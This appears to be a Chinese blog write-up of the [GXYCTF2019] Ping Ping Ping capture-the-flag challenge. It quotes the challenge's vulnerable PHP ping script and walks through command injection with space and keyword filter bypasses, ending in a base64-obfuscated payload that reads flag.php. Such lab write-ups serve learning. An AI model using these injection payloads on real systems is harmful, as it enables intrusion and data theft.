CTF-Web习题:[GXYCTF2019]Ping Ping Ping

题目链接:[GXYCTF2019]Ping Ping Ping

解题思路

访问靶机,得到如下页面,类似于URL参数
在这里插入图片描述
尝试用HackBar构造url传输过去看看
在这里插入图片描述
发现返回了ping命令的执行结果,可以猜测php脚本命令是ping -c 4 $ip,暂时不知道执行的函数时system()还是exec(),但是大概能想到这题有命令执行漏洞,那么我们就测试以下:构建url?ip=111;ls,看看有没有目录文件返回:
在这里插入图片描述
发现ls命令执行成功,那么可以确定是命令执行漏洞,且项目路径下还发现有flag.php,我们尝试构造url来cat一下:
在这里插入图片描述
发现回复"fxck your space",证明是有判断过滤了空格,空格的作用一般是分隔关键字,这时候就试试应对空格过滤的办法(想办法识别关键字),尝试了\${IFS}、%09、%0a都不行,最后发现\${IFS}\$9可以绕过过滤:
在这里插入图片描述
但是又发现flag字符串被过滤了,那试试访问index.php页面,发现可以访问,也就是说没有被index.php没有被过滤
在这里插入图片描述
这时候我们可以看到index.php的内容就是正则过滤规则,但是没有显示完全,因为php代码是包裹在<?php?>块中,HTML不认识该标签,所以会把它们当作注释,以上页面代码中缺失的部分按F12查看源码就可以发现,index.php的源码如下:

<?php
//检查GET参数’ip‘是否存在
if(isset($_GET['ip'])){
	$ip = $_GET['ip'];
	if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    	echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    	die("fxck your symbol!");
	} else if(preg_match("/ /", $ip)){
    	die("fxck your space!");
	} else if(preg_match("/bash/", $ip)){
   	 	die("fxck your bash!");
	} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    	die("fxck your flag!");
	}
    $a = shell_exec("ping -c 4 ".$ip);
    echo "";
    print_r($a);
}
?>

我们可以从代码里发现flag的过滤规则,任何含义"flag"的字符串都会被过滤,那么我们如下以往的字符绕过技术都将不起作用:

1.fl\ag:使用反斜杠‘\’逃逸字符
2.fla"g:双引号中断字符
3.fla""g:重复双引号混淆过滤器
4.$a=fl;$b=ag;$a$b:字符拼接
5:fla?:通配符
6.fla:通配符
7:fla[a-z]:通配符

在本题的规律规则下,以上绕过均失效,这块不行,再利用其他方法,如printf+16进制和Base64编码解码绕过,发现base64可行:

?ip=111;cat$IFS$9`echo$IFS$9ZmxhZy5waHA=|base64$IFS$9-d`
解析:
1、$IFS$9:环境变量,代表内部字段分隔符,'$IFS$9'实际上就是在命令中插入一个制表符,以绕过过滤器分隔命令
2、`echo$IFS$9ZmxhZy5waHA=|base64$IFS$9-d`:
(1)反引号'`'用于表示首先执行反引号中的命令,并将其输出作为外部命令的一部分,再执行外部命令。
(2)'echo'用于输出字符串
(3)ZmxhZy5waHA=是flag.php的base64编码
(4)'|'管道符用于将前一个命令的输出作为下一个命令的输入
(5)base64 -d 解码一个base64字符串
3、最终命令执行效果:ping -c 4 111;cat flag.php

将构建好的url利用HackBar发送,发现并没有显示
在这里插入图片描述
这里要知道,php代码会被HTML解析成注释,所以查看源码即可发现flag。

知识补充

正则表达式

一、"/.*f.*l.*a.*g.*/"
通过匹配字符之间可以包含任意字符的形式,来检查是否有类似于’flag’的字符串

  1. '.*':这个部分匹配任意数量的任意字符(除了换行符),'.*'的意思是”零个或多个任意字符“
  2. 首尾的'/':正则表达式分隔符,用于表示开始和结束。但也可以用’#‘、’~'来作为分隔符
  • 24
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
资源包主要包含以下内容: ASP项目源码:每个资源包中都包含完整的ASP项目源码,这些源码采用了经典的ASP技术开发,结构清晰、注释详细,帮助用户轻松理解整个项目的逻辑和实现方式。通过这些源码,用户可以学习到ASP的基本语法、服务器端脚本编写方法、数据库操作、用户权限管理等关键技术。 数据库设计文件:为了方便用户更好地理解系统的后台逻辑,每个项目中都附带了完整的数据库设计文件。这些文件通常包括数据库结构图、数据表设计文档,以及示例数据SQL脚本。用户可以通过这些文件快速搭建项目所需的数据库环境,并了解各个数据表之间的关系和作用。 详细的开发文档:每个资源包都附有详细的开发文档,文档内容包括项目背景介绍、功能模块说明、系统流程图、用户界面设计以及关键代码解析等。这些文档为用户提供了深入的学习材料,使得即便是从零开始的开发者也能逐步掌握项目开发的全过程。 项目演示与使用指南:为帮助用户更好地理解和使用这些ASP项目,每个资源包中都包含项目的演示文件和使用指南。演示文件通常以视频或图文形式展示项目的主要功能和操作流程,使用指南则详细说明了如何配置开发环境、部署项目以及常见问题的解决方法。 毕业设计参考:对于正在准备毕业设计的学生来说,这些资源包是绝佳的参考材料。每个项目不仅功能完善、结构清晰,还符合常见的毕业设计要求和标准。通过这些项目,学生可以学习到如何从零开始构建一个完整的Web系统,并积累丰富的项目经验。
资源包主要包含以下内容: ASP项目源码:每个资源包中都包含完整的ASP项目源码,这些源码采用了经典的ASP技术开发,结构清晰、注释详细,帮助用户轻松理解整个项目的逻辑和实现方式。通过这些源码,用户可以学习到ASP的基本语法、服务器端脚本编写方法、数据库操作、用户权限管理等关键技术。 数据库设计文件:为了方便用户更好地理解系统的后台逻辑,每个项目中都附带了完整的数据库设计文件。这些文件通常包括数据库结构图、数据表设计文档,以及示例数据SQL脚本。用户可以通过这些文件快速搭建项目所需的数据库环境,并了解各个数据表之间的关系和作用。 详细的开发文档:每个资源包都附有详细的开发文档,文档内容包括项目背景介绍、功能模块说明、系统流程图、用户界面设计以及关键代码解析等。这些文档为用户提供了深入的学习材料,使得即便是从零开始的开发者也能逐步掌握项目开发的全过程。 项目演示与使用指南:为帮助用户更好地理解和使用这些ASP项目,每个资源包中都包含项目的演示文件和使用指南。演示文件通常以视频或图文形式展示项目的主要功能和操作流程,使用指南则详细说明了如何配置开发环境、部署项目以及常见问题的解决方法。 毕业设计参考:对于正在准备毕业设计的学生来说,这些资源包是绝佳的参考材料。每个项目不仅功能完善、结构清晰,还符合常见的毕业设计要求和标准。通过这些项目,学生可以学习到如何从零开始构建一个完整的Web系统,并积累丰富的项目经验。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值